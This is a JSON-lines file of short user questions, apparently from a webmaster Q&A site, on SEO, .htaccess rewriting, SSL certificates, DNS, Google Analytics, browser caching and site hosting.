{"id":"48096","title":"Javascript or GET request, what is best for seo?","text":"I small navigation bar (just 2 tabs: \"Aluminio lacado\" and \"Cobre natural\") inside one of the sections of a website.  I'm wondering if, in this small nav bar, I should create normal links that request the content to the server or just create a javascript code that switch the content. I like more the second option but I don't know what is better thinking in seo, since I would have to set `display:none` to the hidden content... Javi"}
{"id":"50549","title":"Mobile site redirection and Google crawlers","text":"I have a HTML website where users can select a product (going through categories\/subcategories) and then when they choose the product they can customize it in a Flash application. I would like to redirect users with no Flash Player to a mobile site (which is also HTML) where they will have a smaller range of categories and a non-Flash version of app: var hasFlash = ((typeof navigator.plugins != \"undefined\" && typeof navigator.plugins[\"Shockwave Flash\"] == \"object\") || (window.ActiveXObject && (new ActiveXObject(\"ShockwaveFlash.ShockwaveFlash\")) != false)); if( !hasFlash ){ document.location.href = '\/mobile'; } But I suppose this method will cause Google spiders\/crawlers to omit the original HTML website and just index the mobile site (limited categories and less content). Is there any way that I could redirect the users with no Flash to the mobile site, but make the Google crawlers to index the original site?"}
{"id":"63388","title":"Is it ok to nofollow all outbound links?","text":"I'm currently adding a nofollow to almost all of my outbound links thinking this will keep the PR inside my domain. Is this a bad approach?"}
{"id":"28554","title":"How to write a generic .htaccess file rule, regarding RewriteBase","text":"The following rule in my `.htaccess` works just fine for routing calls to `index.php`: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php [QSA,L] However, this does **not** work when running on a temporary URL like `http:\/\/example.com\/~test\/`. In such a case, the .htaccess file needs to read: RewriteEngine On RewriteBase \/~test\/ RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php [QSA,L] Note the extra `RewriteBase`. Question: is it possible to write a rule in .htaccess to \"detect\" whether to apply that `RewriteBase`? The reason is the .htaccess if version controlled, and I'd like for it to work on multiple installations."}
{"id":"57092","title":"What is \"SSL Server-Client Authentication\"?","text":"In comparing different SSL certificates I see \" **Server-Client Authentication** \" listed as a benefit of a paid certificate over a free one. (see it here) But what exactly is this added benefit that basic SSL does not already provide? EDIT: This other link here does NOT answer this my question. In other words, if you search that other question for the term, \"Server-Client Authentication\", it's not found."}
{"id":"48099","title":"What is the effect of using common colloquial words in page title?","text":"I am wondering what is the effect of using common words while writing a title of webpage. For Example for my home page, I am trying to write an effective title. I worked out on few titles like: * Starx (Nabin Nepal): Wanna know about me? * Starx (Nabin Nepal): Software Developer & Designer * Nabin Nepal, You can call me Starx And now I am wondering if using colloquial words like `wanna` and common terms like `you can call me` is considered good for a title. Could someone clear this concern?"}
{"id":"2860","title":"Microdata vs RFDa","text":"I am wondering whether to use Microdata or RFDa to mark information for search engines on my Webapplication. Google supports and has documentation for both. But i was not able to find a summary comparing both formats and giving suggestion on which one to use."}
{"id":"44332","title":"How to find linkless mentions of my website?","text":"Recently I noticed some mentions of my Website, or a whole story but without a link. I was wondering is there a way to search for my brand name and filter for pages which do not link to my website? I am aware of Google alerts and Yahoo Pipes, but it seems those will only work for the future, but not for old mentions."}
{"id":"44331","title":"google not showing indexed pages","text":"problem #1 on my sitemap.xml is my home page.. www.sitename.in.rs, but when i search google using full url, or just a sitename, it doesn't show my website in results at all (45 pages of results, but not my page) problem #2 on a list on indexed pages are all of my posts and pages, but when i search using page\/post name only my site is not in results at all, i can only search by typing \"site name page\/post name\", and some pages or posts are found only if i type in search \"www.sitename.in.rs page\/post name\", then my result is first. **on yahoo\/bing search my site is first result if i search for full url or just sitename, and if i search for a specific page\/post i need to type sitename page\/post name** sitemap was created like a month ago.. so, is there any help for me? site url www.pronadjinas.in.rs"}
{"id":"2863","title":"What is the ideal user-interaction for full album download as MP3s?","text":"I want to offer a full length album as a free digital download. I can easily throw the MP3 files up on a webserver and put a link to it. I've used this method before and it works ok. Savvy users know what to do with it: 1. Right click each MP3 link and save them to your desktop or downloads folder 2. Drag them all into iTunes and let it copy them into its database 3. Delete the originals My worry is that most users just click them, and their browser loads them and plays them. I want to streamline the user-interaction experience and optimize it for \"download the whole album into my iTunes library.\" Posting the entire thing as a ZIP file is slightly better, but not by much. Does anyone know of examples of other sites that have done this really well? Any other ideas or tips for how to package this? Disk Image? M3U file? Platform-specific scripting?"}
{"id":"2866","title":"Updating browser window title with Javascript","text":"Can I target the window title with Javascript and have it update based on certain events?"}
{"id":"2867","title":"$100 coupon from Google AdWords - how to put it for the best use?","text":"I keep getting this email with $100 coupon from Google AdWords that doesn't explain much what is it for and what can I do with it. Is it something worthy or as usual? What should I do with it?"}
{"id":"29960","title":"Is there any book or video that explains internals of webhosting?","text":"I always wondered, how to setup webhosts manage the website. I wanted to know all the internals. By internals, I mean 1. How they manage so many(thousands of) websites? 2. How do they setup those? What Hardware & Softwares do they use? 3. What security issues do they deal with? 4. Setting up Cpanel\/one click installer\/languages etc. 5. ... 6. ... I want to try all these things for myself first on my localhost by hacking hosts file or by setting up a domain server. If there are any blogs\/videos where a real webhost is demonstrated, would be great. In short I'm looking for **Setting up and Managing webhosting from beginners to pro**"}
{"id":"49813","title":"Are creating websites for backlink blackhat?","text":"**The problem** I have been looking for a reputable company to help a client of mine generate some backlinks. Now I thought everyone these days would try and talk us into **good content** and **competitions** our **users want to share**. Which is **great** , I just needed someone to do run that. But I've found that companies are offering a different strategy in the form of: Creating 100's of average quality websites within the target niche then linking them back to the core site. Using claims of \"we have never been caught because we are careful with what websites we create and the rate we create them\" I'm fighting that this is a bad idea.. But the client also knows I'm a total hippy when it comes to \"keeping Google happy and best practises\" in everything I do... and in business sometimes you get a little dirty. **My points has been as follows:** \"Looking at this from Googles point of view, if they are seeing this strategy taking off they will target it.. As they do not want 200 “backlink websites” per 1 site in their search results. \" **Why here?** The reason to post this here is i'm sturggling to find any good information on this exact strategy.. Lots about old \"just getting as many links as you can..\" Also lots of things on \"Getting good quality links natrally\" But not much on \"Setting up 100's of 25-40 page rank sites in your niche just to target you with good quality links\" **What I need** Does anyone have any good words or articles about this exact strategy and why it isn't viable in the long term? Or am I being a hippy and this is just the \"new thing\"??"}
{"id":"24239","title":"Can Joomla 1.7 ACL control view permission of extensions for users?","text":"I need to create view permissions of some extensions and some parts of other extensions for users. Can Joomla 1.7 ACL control view permission of extensions for users? Thanks"}
{"id":"54374","title":"SSL issue and redirects from https to http","text":"I have a site www.example.com for which i purchased SSL cert and installed. And it was working fine, I also have a subdomain with app.example.com which was not on SSL. Both www.example.com and app.example.com are on same IP address. At later we decided to put SSL only on app.exapmle.com and then i configured SSL with app.example.com and it worked fine, Now the issue is that Google is indexing my site as https:\/\/www.example.com\/ and when users hits the web , Invalid security warning is issued and when user allow security issue they are shown my app.example.com contents. Note: I have my SSL configuration files in \/etc\/httpd\/conf.d\/ssl.conf The contents of the ssl.conf are below. http:\/\/pastebin.com\/GCWhpQJq NOTE: I tried solutions in .httaccess but none of those worked. Like redirecting 301 redirects etc"}
{"id":"14245","title":"Chinese CAPTCHAs","text":"I need to implement a CAPTCHA for a Chinese (Simplified) website. Does anyone know how CAPTCHAs are normally presented on Chinese sites? I have seen some which just display standard decimal numbers but since there's less variation these are not as secure as I'd like. Is it acceptable to use a CAPTCHA containing letters from the standard English alphabet?"}
{"id":"28562","title":"How to create a cloud server based website?","text":"i have bought a domain from go daddy. i have bought a cloud hosting windows 2008 server from rack space. how do i link my domain to my host server and how do i utilize Dreamweaver\/fireworks to create the website on the server? any help would be very much appreciated."}
{"id":"54371","title":"Segment subdomains with Google Analytics?","text":"So, when a website has multiple subdomains: www.example.com foo.example.com bar.example.com What is the best way to use Google Analytics to segment the data? I would prefer have access to 'All Data', 'Data from foo.example.com', and 'Data from bar.example.com'. I tried setting up 3 different views, and setting a filter on the foo\/bar views that says: Include only traffic from the ISP domain that are equal to foo.example.com. However, I am not seeing any data collected into that View. I do, however, see all data in the 'All Data' view, but I can't figure out how to segment the data. I am including the `analytics.js` in the `application.haml` layout, which is always loaded in this app."}
{"id":"24233","title":"Is eCPMs dropping by about 50% in January a usual behavior on Google AdSense?","text":"So I just got semi-serious about running some AdSense sites over the past 6 months and the eCPM's have hovered between 1.38 and 1.42 [yes it's that close] when I look at the eCPM for each month. Obviously some deviation day to day but pretty damn close to a buck forty in aggregate. So far for January I am sitting at 0.80 for an eCPM. I know it's not a huge sample size but the daily pageviews are fairly consistent [actually a bit higher] than where they were in December. I am trying to justify this by thinking that somehow a lot of ad buyers buy inventory for the year and have to get setup to do another big buy now that it's a new calendar year but that thought isn't close to comforting. Is this happening to anyone else? **EDIT:** I run a lot of websites and the ratios of pageviews are about the same this month to last month but just to be clear the eCPM I posted is for >20 websites in a variety of niches, it doesn't accurately depict any one domain."}
{"id":"58329","title":"How does a plus one on a post carrying a link, help for SEO?","text":"How does a `+1` on a post (from Google Plus) that carries a link help for SEO? Will it help the PageRank in Google? If yes, how?"}
{"id":"65156","title":"Domain redirects to cgi-sys\/defaultwebpage.cgi","text":"I have recently moved my domain to new hosting. Now when I try to access my site (`example.com`) it is being redirected to `http:\/\/example.com\/cgi- sys\/defaultwebpage.cgi` If I use the domain name with a dot at the end, the website loads normally. I do not have any redirection configured, so what might be causing this?"}
{"id":"65398","title":"DNS and Whois problem","text":"I have encountered a problem or atleast that's what I think, I have recently started an ec2 instance and I changed my A records at Godaddy to point to my new elastic ip and it worked fine and then I signed up to Route 53 and changed the name servers at Godaddy and imported the DNS zone file to Route 53 and it all worked fine, but for some reason when I do whois search for my domain I get Godaddy's ip address, but my site loads fine. Here is the link for whois records: http:\/\/goo.gl\/a3z0MI The reason this question aries in my mind is because I have seen other site's whois with ec2 and route 53 and they seem to be normal here is the example: http:\/\/goo.gl\/lPE8OY Thanks in advance Ankit Yadav"}
{"id":"3343","title":"How quickly does Bing index URLs submitted through Webmaster Tools?","text":"In Bing's Webmaster Tools, there is a Submit URLs page that allows you to \"Submit URLs that are currently not in the Bing index or that should be reindexed due to recent changes.\" Does anyone know how long it takes Bing to index pages submitted here? I submitted several pages yesterday; Some are listed in Bing (they have been live for a week so may have already been indexed) but most are not. I'm not expecting miracles since it's only been ~30 hours; however, I assume they will be indexed through this tool faster than they would be naturally."}
{"id":"3346","title":"How to markup non-human-language text in HTML?","text":"Considering the needs of screen readers, browser spell-checking, search engines, etc. how should non-human-language text be marked up in HTML? Should it be wrapped in a particular tag? Is there a standard special `lang` attribute for the enclosing tag (eg. `\"\"`)? Note that we may wish to mark up a form input as accepting some sort of non- human-language text. Examples of non-human-language text: * a short cryptographic hash * a large block of encrypted data * proprietary formal notation * ASCII art"}
{"id":"49511","title":"Does Google Search know if your site is mobile?","text":"When a user does a search from their desktop, do Google search results know if any site is mobile aware? Does that affect their placement? What if a site is responsive? Many mobile validators don't recognize responsive sites and give them a fail, when they in fact look great across many screens."}
{"id":"36426","title":"The correct domain for canonical tag","text":"If my site domain is a naked domain (non-WWW). Should the canonical tag for my site be: <link rel=\"canonical\" href=\"http:\/\/mydomain.com\/\" \/> or <link rel=\"canonical\" href=\"http:\/\/mydomain.com\/\" \/> ?"}
{"id":"59580","title":"Discrepancy in Google Analytics multiple accounts","text":"I am reporting my traffic to 2 different Google Analytics accounts. Using Universal Analytics, I am doing something like: ga('create', 'UA-XXXX', 'auto'); ga('send', 'pageview'); ga('create', 'UA-YYYY', 'auto', {'name': 'community'}); ga('community.send', 'pageview'); I see data flowing in on both accounts, however I see the numbers don't exactly match. I can see about 16% less page views in the \"community\". I declare my account only in this one spot. Also after looking at the OS\/Browser section and the content drilldown section, I don't see any specific drop anywhere. It seems to be spread across users seemingly randomly. Is this a known issue?"}
{"id":"59586","title":"Why is cached page showing after clearing all browser data","text":"I have cleared all browsing data from Chrome as well as pressed Ctrl+F5, but a cached home page is still displayed. My test homepage shows the new page correctly. I am absolutely positive the new page has been uploaded. The same problem occurs in IE11 after pressing Ctrl+F5. I do not want to use meta tags for obvious (bandwidth, slow user browsing, etc.) reasons. Is there anything else I can try? **Notes** This is a Windows server. Although the new page is displaying properly on my laptop, it has not been updated on several other machines I have tried. **Update** My ISP seemed to have fixed the problem last night, but it has recurred. It is as if they restored the old files from a backup. Here is a partial report from Firefox HTPP Headers: HTTP\/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Content-Encoding: gzip Content-Type: text\/html; charset=utf-8 Date: Fri, 21 Mar 2014 15:54:33 GMT Expires: Sat, 01 Jan 2000 00:00:00 GMT Pragma: no-cache x-content-type-options: nosniff X-XSS-Protection: 0 X-FB-Debug: nmuGzYXWYFP\/OJF3oT7UTEXBADzlWnIE176a9iLFCjk= X-Firefox-Spdy: 3 Let me know if more of the report is needed."}
{"id":"30524","title":"Can I test my affiliate ID on a dummy webpage without it being suspended?","text":"I was recently accepted into the Amazon affiliate program, as I'm planning on advertising books I read on my website. Before going live with my website, I would like to: 1. test the whole affiliate program to make sure it's working properly. 2. buy the books I will review and promote on my website under my own affiliate program in order to get some cash back and therefore save money. To do so, I thought about setting up a simple HTML page which will just list the products I will buy before going live. That way I test, get some cash back, and don't expose my website before going live. Can I do this without having my account suspended by Amazon (i.e. won't Amazon think I only applied to the program to get some cash back, will Amazon be happy with receiving affiliate traffic from an almost empty website...)?"}
{"id":"27437","title":"Standard way to mention website's developer","text":"I want to know what is the best standard way to mention a website developer's name. I mean is there specific meta tags? In case that customer does not want the designer ads its name in the footer or somewhere in the vieable content."}
{"id":"10362","title":"how to deal with domain names + Intellectual property rights in worldwide?","text":"I have some premium domain names , and I have received many dispute emails, most of them from china, and I am in the middle east. They are mainly talking about Intellectual property rights regarding my domain names. What I should do when I get these kinds of dispute emails?"}
{"id":"34205","title":"Google Analytics www 301 causing issues with In-Page Analytics","text":"The closest question I could find to my problem is this one. The similarity is: > I have a profile in Google Analytics (GA) that has been collecting data for > a year. The domain setting in GA is `http:\/\/example.com`. The site, however, > will redirect any non-www request, to `www.example.com`, via a typical > .htaccess refinement. We do this to keep the traffic on the load balancers. I don't know the method the original user had in place, but we're doing a 301 on any `no-www` to the `www` equivalent. I believe this has to be somewhat standard. Where I differ from this question is in the error message I receive when trying to load the In-Page Analytics? I'm instead receiving: > Error: The Website in your settings (`http:\/\/example.com`), redirects into a > different domain. (`http:\/\/www.example.com`). In-Page Analytics currently > works on only one domain. Note that `www.example.com` and `example.com` are > NOT considered to be on the same domain. Also, make sure you're not > redirecting from http:\/\/ to https:\/\/ or vice versa. I understand what's being explained, it just seems as though this can't be the end-all. I tried updating the Analytics settings, which from day one has been set as \"One domain with multiple subdomains\", but I don't see any options to change the URL (which is currently set to `http:\/\/example.com` and not `http:\/\/www.example.com`). I'd prefer not to have to change the URL if that was at all possible, but I can't seem to find any documentation or anything that provide any possible solutions."}
{"id":"13949","title":"How do I transfer an SSL certificate to a new server","text":"I have a site running on GoDaddy shared hosting, which is going to be moved over to a VPS. The site has a SSL certificate from GoDaddy. How can I move over the certificate in a seamless way, so that the certificate is there, and all I have to do is change the DNS over?"}
{"id":"35159","title":"Random links seo and spam","text":"I built a mini-forum with social features for a client, to promote user registration, i planned to add a box on the forum pages to display pictures with profile links of random registered users. I managed to make this random selection static for a day, i mean the list will be renewed each day and not change on every page refresh. Could this random list of link could be harmful to seo by being considered as some kind of spam?"}
{"id":"60464","title":"Are there privacy considerations in using Google web fonts?","text":"I am required to create the design of a website for my institution. I am not a designer or webmaster, and I am very badly informed in this area. I am already a bit stuck in the font selection. The project budget does not allow the purchase of commercial font licences. A quick web search showed that a very convenient way to use free fonts would be to use the Google web font service. Another option would be self-hosting, but as far as I understand, it is 1) somewhat more challenging technically, and 2) more limited, as there are fonts which can be used for free through Google, but their licence does not cover that we redistribute them through hosting. (If this is not true, please correct me). We are an European institution with high requirements for privacy. The web site in question has an area with sensitive data (R&D know-how not yet protected by patents) and we may extend it to also save some personal data of users in the future. So we are very wary of embedding external services. What are the privacy risks connected to the use of the Google web font API? How much access will Google have to our data if we use their font service? Is it feasible to use their fonts if we wish to keep part of our website secured against unauthorized access? Or am I limited to self-hosting open source fonts?"}
{"id":"31694","title":"Displaying google analytics data on my website","text":"I sell ad space for my websites directly to the advertisers. I ad page where I want to show Google Analytics information that updates automatically without me having to manually update everyday or every month. Something like this: http:\/\/wstats.net\/en\/website\/riverplate.com#stat_trafic I don't want to use embedded or iframed third party services. I know Google has a public API and you can connect it to Google Graph API to to show pretty graphs. There is a tutorial by Google here on how to do it: https:\/\/developers.google.com\/analytics\/resources\/articles\/gdataAnalyticsCharts Few problems: * I don't know much javascript * The javascript seems to prompt for authentication as opposed to login automatically, from my understanding by reading comments on the code. Does anyone know of any ready made script that does what I am looking for or know how I can fix this code that will allow me to display analytics info without authenticating?"}
{"id":"31696","title":"category title and affect on SEO and ranking","text":"We are working on a jobs and skills website (similiar to Skill Pages) and are deciding on categories. Rather than having load of categories like, for example, Builder, Electrician, Carpenter etc, we would like to have one word more general categories. So for example we have House, Computer, Education, Art etc. So a builder would be in category Home and a few others. Will this style negatively effect our SEO and ranking? And if so, should we abandon and go back to traditional categories and sub-categories?"}
{"id":"4252","title":"What bug tracking system is this, or is it Drupal?","text":"Can't figure out is this is Drupal, or some other bug tracking system: http:\/\/drupal.org\/project\/issues\/search\/redesign?issue_tags=drupal.org+redesign+qa Any ideas how to figure it out? Also, in general how do you tell if a site, or part of a site is using Drupal? Thanks!!"}
{"id":"4256","title":"Server Space \/ Server Cost","text":"Okay basically, I want to know some details about how much it would cost to buy a web server for what I want to do. The site we're making is going to accept uploads from users. A LOT of uploads. How much is this really going to cost in server space? Videos, Pictures, Audio, everything. And how easy\/expensive is it to increase server space\/speed to handle all of these concurrent uploads happening. I really have no idea where to start with this, haven't been a webmaster before =\/"}
{"id":"28693","title":"Wordpress doesn't use domain on anything apart from the home page","text":"I have WordPress installed on a GoDaddy deluxe account. I'm using this account to host multiple sites and just map the domains to the folder: i.e. www.mysite.com\/awesome would be www.awesomesite.com. This is transparent to the user. When I setup wordpress I installed it to a folder www.mysite.com\/wordpress. I have a domain www.thesite.com mapped to www.mysite.com\/wordpress. When I go to www.thesite.com it looks perfect. As soon as I click on a link it switches the domain to www.msite.com\/wordpress. Is there a way to change this behavior?"}
{"id":"28691","title":"Using Public Key Authentication for websites","text":"I know GitHub uses it for code development (not user authentication for the website though). I saw this article on the idea: http:\/\/neverfear.org\/blog\/view\/3\/Secure_website_authentication_using_GPG_keys Is there a plugin or some open source code to authenticate users in a CMS (e.g. Drupal, Wordpress, Django, etc) with public-private key signatures? Has anyone implemented this type of website authentication before?"}
{"id":"5536","title":"HTML comments and SEO","text":"Is there anyway that too many HTML comments in a document can effect SE rankings? Do the spiders ignore all of them?"}
{"id":"59848","title":"?Referer links in WordPress site getting indexed","text":"I have a WordPress site which is more content centric. Today, I found that certain URLs are getting indexed in Google Search results. They look like: http:\/\/example.com\/page\/42\/?referer=www.wwwdnal.com The URL is not returning a 404 error but is displaying same content as in: http:\/\/example.com\/page\/42\/ I checked my entire site and haven't found any such links coming out of my site. How to get rid of these?"}
{"id":"32941","title":"Unify google sites and my own domain in webmaster tools and google search","text":"Currently my website neolisk.com appears as itself and also as sites.google.com\/site\/neolisk in webmaster tools. Sometimes it is also an issue when users do Google search - results appear under both domains. Is there any way to tell Google Search and Webmaster Tools that both are the same website, and to reference only neolisk.com?"}
{"id":"18143","title":"How do you transfer a domain hosted on WordPress to Media Temple?","text":"WordPress offers this service for $120, but I think that's too much. Is there an easy way to do this besides paying the wordpress guys a bunch of money? I'm just not sure of of all the steps i need to do in order to get my domain moved. This includes moving the domain as well as export and moving my content. Also I'm transfering to Media Template because I want to host other sites as well and I want them in one place."}
{"id":"18146","title":"What CSS rules are causing extra space in the footer of this blog on blogger?","text":"I am having some problems with the footer on my blog. Take a look at it here. Right above the footer, there is a blank, black space with nothing in it. Above it is the feed url, but it isn't on the black background, it's on the background image of my blog. I code HTML and CSS, so I can apply custom rules, but the system is so complex that I don't know what to change. Any suggestions? "}
{"id":"30209","title":"Apache2: How to host apps at different ports with SSL?","text":"I'm trying to achieve quite simple task actually. I bind application to a port, I enable SSLEngine at each VirtualHost entry for that port. Everything works beside one thing: if you type url that starts with HTTP:\/\/, not HTTPS:\/\/, you get the Bad Request error hinting you to use HTTPS:\/\/ request scheme. So the real question is how to redirect (302) from `http:\/\/sub.domain.tld:4000\/` to `https:\/\/sub.domain.tld:4000`? Example seen there: http:\/\/isil.monsternett.no:8443 Thanks. Edit: Maybe I'm making mistake in core structure? This is what I use: Listen 4000 NameVirtualHost 0.0.0.0:4000 <VirtualHost 0.0.0.0:4000> RewriteEngine On ... <\/VirtualHost> Listen 4001 NameVirtualHost 0.0.0.0:4001 <VirtualHost 0.0.0.0:4001> RewriteEngine On ... <\/VirtualHost> Listen N NameVirtualHost 0.0.0.0:N <VirtualHost 0.0.0.0:N> RewriteEngine On ... <\/VirtualHost>"}
{"id":"67214","title":"Mass email service without \"watermark\"","text":"I have to send large number of emails every month. Is there a service I can use to help me do that? I am not concerned about the cost. The only thing I am concerned about is that the emails should not have \"watermarks\" (or banners from the service I am using). I tried MailChimp and several other mass email services but they all seem to include their banners indicating that the emails were sent using some email service. In other words, every email should look like it is sent from a human user. I am a PHP developer myself and my first approach was developing a mass emailer myself, but according to the first answer on this question it seems very very hard to do it yourself. So, is there an already existing mass emailing service that would let me do that kind of thing?"}
{"id":"67219","title":"Would a backlink to a website template affect my SEO?","text":"I am going to start a new website project. It's my personal project and I am using a template which I downloaded from a website that has a condition that its users have to provide backlink to their website. Would this backlink affect my website's SEO in the future or is it OK?"}
{"id":"31340","title":"Google Analytics - drill into single session","text":"If a site has been using Google Analytics for a while and someone wants to drill in and see data on individual sessions, how would you go about doing getting that data? Is it even possible?"}
{"id":"31344","title":"Does an image's filename affect its seo?","text":"When I name my image files, I always use a descriptive file name such as `red- mercedes-slk.jpg`. I've always done this without thinking, but I wondered if it actually benefits my rankings in any way. Would I be just as well off writing an uninformative file name like `r-slk.jpg`? I would still use alt text."}
{"id":"19784","title":"Does google consider bounce rate, if the user right click open in a new tab and continue on google clicking some more link?","text":"Does google consider bounce rate, if the user right click open in a new tab and continue on google clicking some more link ? Is this correct? In my opinion the work for bounce rate is to determine, whether a user have found relevant for what he is searching in a simple organised way."}
{"id":"31287","title":"Is there any good reason I would want my website to be framed?","text":"I'm building a website that's not security-critical in any way at all, so having somebody put a page in an `<iframe>` is not particularly dangerous to its users. However, as my website doesn't have script plugins that will be used anywhere else, is there any reason why I shouldn't just apply: X-Frame-Options: Deny to every page on my website? Is there any valid reason for any other website to embed mine? I've seen plenty of content-stealing ones and attempts to hijack user accounts, but never an actual good usage of frames that's not an explicit feature of the website."}
{"id":"51478","title":"Screen resolution of Googlebot mobile?","text":"Does Googlebot-Mobile have a viewport resolution it sends across? If so, what is it? It's a general question with broad relevance, but I am asking with reference to responsive design: particularly when serving different image resolution to different viewports via JavaScript. While Googlebot has its issues with JavaScript, it will become better with time. Thus, it would be good to know which version of the same image would be crawled (since most responsive image JS solutions base their logic on resolution). > Feature phones Googlebot-Mobile: SAMSUNG-SGH-E250\/1.0 Profile\/MIDP-2.0 Configuration\/CLDC-1.1 UP.Browser\/6.2.3.3.c.1.101 (GUI) MMP\/2.0 (compatible; Googlebot-Mobile\/2.1; +http:\/\/www.google.com\/bot.html) DoCoMo\/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile\/2.1; +http:\/\/www.google.com\/bot.html) > Smartphone Googlebot-Mobile: Mozilla\/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit\/532.9 (KHTML, like Gecko) Version\/4.0.5 Mobile\/8B117 Safari\/6531.22.7 (compatible; Googlebot-Mobile\/2.1; +http:\/\/www.google.com\/bot.html)"}
{"id":"23614","title":"Force directory listing even if index.html is present","text":"I have some files in my \/www\/ directory. Is it true that by simply putting an index.html into that directory, the rest of the files are now \"protected from public\"? Could an _outside_ hacker still force directory listing or gain access to those files? How would they do it if it were possible? I'm aware of the ways to make my filesystem secure, but I was wondering to what extent does **just** putting an index file have on protecting files\/directory listing."}
{"id":"15047","title":"Problem with browser caching images","text":"I'm sure many site admins must deal with this sort of problem all the time, but I don't have a really good and simple solution myself. It is what happens when you overwrite an existing image on the server. The site visitor's browser still displays the old one and must be refreshed to see the updated image (and stylesheet for that matter). So is there any simple solution to trick the browser to refresh the cache when there's a new image using the old name? And yes, of course the obvious solution is to rename the image, but please bear with me on this and assume that's not always a good solution... And this is for Drupal sites in case that bears on the question. ============================ ANSWER: Based on the answer below, I am now using this code: <?php echo 'niceimage.jpg?'.date(\"dmHi\", filemtime('niceimage.jpg')); ?> This automatically updates the image query string whenever the image-file is changed, based on the modification date of the image-file."}
{"id":"6578","title":"Tag link suggestion plugin for WordPress?","text":"Every time I write a post I make sure I add links to words that I have tags for. For example: \"The economy of Brazil has improved in the last few years\" This ensures that when people re-post my content, a lot of back-links will be created to my tags. This is quite a lot of work to do manually for every post. It would be cool if there was a plugin that would suggest tags to be applied when they match existing words in the text of the post. Is there such a thing?"}
{"id":"27766","title":"Does google restrict more than one sites on same server with identical design or content?","text":"I have two websites [url removed] and [url removed] with resembling content hosted on same server. Google pick only one of them. Is this a criteria of google to pick only one website from one server for identical content?"}
{"id":"61740","title":"From 302 to 508 rediect, how is Google indexing it?","text":"I'm working under an IIS environment. I would like to put up a splash page for our site maintenance, however, the splash page (app_offline.htm) has to be served on a separate site, since our developers still want to be working with the site while the app_offline.htm is up. My plan: Use URL-Rewrite to separate traffic to two groups by IP, Public and developers. For developers, \"None\" action is applied, for public, they will be **redirected** to an app_offline.htm (503) page on a separate server. Since it is a redirect to app_offline.htm. I'm assuming when Google robots will first pick up a 302, then pick up a 508? Eventually does the 508 counts? or the 302 counts? I figured I had to put app_offline on another site since it brings down the entire site and beats the purpose of separating the IPs. But any better alternative to my plan will be appreciated too."}
{"id":"12966","title":"Which of these 3 URL-Rewritings are better SEO friendly URLs?","text":"Imagine my current flat-file no-CMS website with an URL like `http:\/\/website.com\/en\/tomato`. This is of course very unsexy and could be anything really from _tomato soup_ , _tomato the music band_ , _tomato the movie_ , or more unlikely but still... _just about tomatos!_ So, I want to make it more specific for both real humans as well as search engines. Given: both the language code and short filename code are essential and cannot be replaced so somewhere there has got to be `en` and `tomato` preciding\/following whatever delimiter like `\/` for _.htaccess_ to do the correct invisible redirects to `\/tomato.php?language=en`. Some options occured in my mind for the added words in URL: A website.com\/en\/tomato\/just-about-tomatos B website.com\/en\/tomato\/just-about-tomatos.htm C website.com\/just-about-tomatos\/en\/tomato D website.com\/en\/tomato_just_about_tomatos E website.com\/en\/tomato-just-about-tomatos **Question1:** Which of these is the best for humans as well as search engines? **Question2:** Which single elegant rule should make this happen in _.htaccess_? Thanks for your suggestions and answers! Much appreciated."}
{"id":"28402","title":"Is it better to use slash or hyphens for SEO","text":"I have a website with url like that : www.xxxxxx.com\/card\/wow\/20-euros In term of SEO is it better to use slash or hyphen? www.xxxxxx.com\/card-wow-20-euros Even though it will be trickier with hyphen to route correctly with only hyphen ... Or it doesn't matter?"}
{"id":"25534","title":"HTML + CSS Template","text":"> **Possible Duplicate:** > Where is the best place to find stock website templates? I need some html + css templates (not for wordpress or any kind of cms) used for custom website. It's not important if they are free, opensource or premium templates to buy. I'd like to hear your opinion about the website you suggest to me. I actually use these website: * templatebox.com * os-templates.com * freecsstemplates.org These are good website, but sometimes I can't find what I need because they are too \"standard\" and not creative! Thanks to everyone for help me!"}
{"id":"44171","title":"Should I block Wordpress archive pages from search engines?","text":"I use WordPress and `\/sample-post\/` URLs for my posts and `\/yyyy\/mm\/` for the archives. Google has indexed the site fully. Since the archives currently display full posts I've thought that I shouldn't let Google index the archive pages because they contain the full posts and that will be duplicate content. Thus my robots.txt contains: Disallow: \/2009\/ Disallow: \/2010\/ Disallow: \/2011\/ Disallow: \/2012\/ Disallow: \/2013\/ Disallow: \/2014\/ Disallow: \/2015\/ Do you think this is good practice or would it harm my rankings and\/or reachability?"}
{"id":"44319","title":"Symbolic link of file on ftp server to file on dropbox","text":"Can I create a symbolic link from an ftp server (file on website) to a Dropbox URL? I'm trying and it's seeming to work correctly. My problem is a video isn't playing correctly on my site, but I know it plays perfectly every time for the Dropbox URL. Rather than sendign out notification that the link has changed once more, I thought I could create a symlink to the new file"}
{"id":"61652","title":"HostGator and 123reg","text":"I am trying to set up my website to work with Hostgator, and 123reg. I have mapped my IP address that HostGator gave me, to my 123reg domain name I just bought. What I did was the following: 1. Mapped the IP address to my domain name using 123reg (control panel). 2. I also changed the Nameservers values (in 123reg) to what HostGator gave me. 3. I have setup a Joomla Service using the HostGator Control Panel. everything seemed to be working fine. Joomla gave me credentials, an admin URL and everything. Now the problem that has been bothering me is, that WHATEVER I type it redirects me to the 123reg default site as if my changes had not taken any place. For example: www.mydomain.com -> 123reg default page www.mydomain.com\/home -> 123reg default page www.mydomain.com\/admin -> 123reg default page www.mydomain.com\/whatever -> 123reg default page Can somebody please help me through?"}
{"id":"53240","title":"filter admin access by IP with httpd.conf","text":"I am trying to filter all backend url to one IP in the httpd.conf file using this code: <Location \/admin> Order deny,allow Deny from all Allow from 100.x.xxx.xxx <\/Location> This one works fine. I can't find a way to do the same with \/?q=admin. <Location \/?q=admin> Order deny,allow Deny from all Allow from 100.x.xxx.xxx <\/Location> Do I need some regular expression with backslash to escape some of the characters?"}
{"id":"39179","title":"Would it be possible to build a client portal on Squarespace6?","text":"I'm helping a family member set up a site which will need to include a secure client portal, providing access to documents and a simple database. I have been encouraging them to go with a more established, open source CSM like drupal or joomla, whose capability in this area is evident. However, they have a strong preference for Squarespace. Does any one know if it would be possible to accomplish this with the new developer platform for squarespace 6? I've spent well over an hour searching google, the squarespace site and stackexchange, but can't seem to find any clear answer to this question. I'm grateful for any insight you all can provide."}
